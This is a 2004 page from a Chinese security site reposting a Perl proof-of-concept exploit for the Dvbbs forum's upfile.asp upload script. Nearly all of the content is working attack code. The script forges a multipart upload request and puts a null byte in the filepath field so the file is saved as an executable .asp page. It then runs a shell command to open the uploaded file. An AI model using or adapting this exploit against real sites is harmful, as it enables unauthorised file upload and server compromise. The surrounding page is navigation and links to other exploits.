首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Envymask 写的DVBBS UPFILES EXP
来源:vfocus.net 作者:Envymask 发布时间:2004-05-18  

Envymask 写的DVBBS UPFILES EXP


#!/usr/bin/perl

# POC Exploit for Dvbbs Upfile.asp
# Codz by Envymask@ph4nt0m.net
# Thx who discovered this vul

$| = 1;
use Socket;

$host = "www.target.com";
$port = "80";
$way = "/bbs/";


$PostTO = "upfile.asp";
$UploadTo = "uploadFace";
$str =
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"filepath\"\r\n".
"\r\n".
"uploadFace/asp.asp\0\r\n".
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"act\"\r\n".
"\r\n".
"upload\r\n".
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\ph4nt0m.jpg\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"ThxMixAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n". #file content
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"fname\"\r\n".
"\r\n".
"C:\ph4nt0m.jpg\r\n".
"-----------------------------7d41290560446\r\n".
"Content-Disposition: form-data; name=\"Submit\"\r\n".
"\r\n".
"上传\r\n".
"-----------------------------7d41290560446\r\n".
"\r\n";


$len=length($str);

$req = "POST $way$PostTO HTTP/1.1\r\n".
# "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/msword, */*\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41290560446\r\n".
# "Accept-Language: zh-cn\r\n".
# "Accept-Encoding: gzip, deflate\r\n".
# "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)\r\n".
"Content-Length: $len\r\n".
# "Connection: Keep-Alive\r\n".
# "Cache-Control: no-cache\r\n".
# "Cookie: SessionID=SID=939186193; aspsky=Times=2004%2D5%2D16+13%3A45%3A48; ASPSESSIONIDQQTRTQAT=CBINKPHDEKGKENDDADLJBAAC\r\n".
"Host: $host\r\n".
"\r\n".
"$str\r\n\r\n";


@res = sendraw($req);

$checkstr = "start x68x74x74x70x3Ax2Fx2F$host$way$UploadTo/asp.asp";
`$checkstr`;


#Hmm...Maybe you can send it by other way


sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Symantec Multiple Firewall DNS
·BBSXP setup.asp top function i
·Uploading shellcode v0.2 with
·动网上传漏洞利用工具Gui版(De
·Local AIX getlvcb Exploit
·IIS后门设置脚本 FOR WIN2000
·PaX DoS proof-of-concept
·Linux FreeBSD CVS exploit
·Sasser Worm ftpd Remote Buffer
·cvs_solaris_HEAP.c
·Monit 4.1 Remote Buffer Overru
·Local Exploit for a buffer ove
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved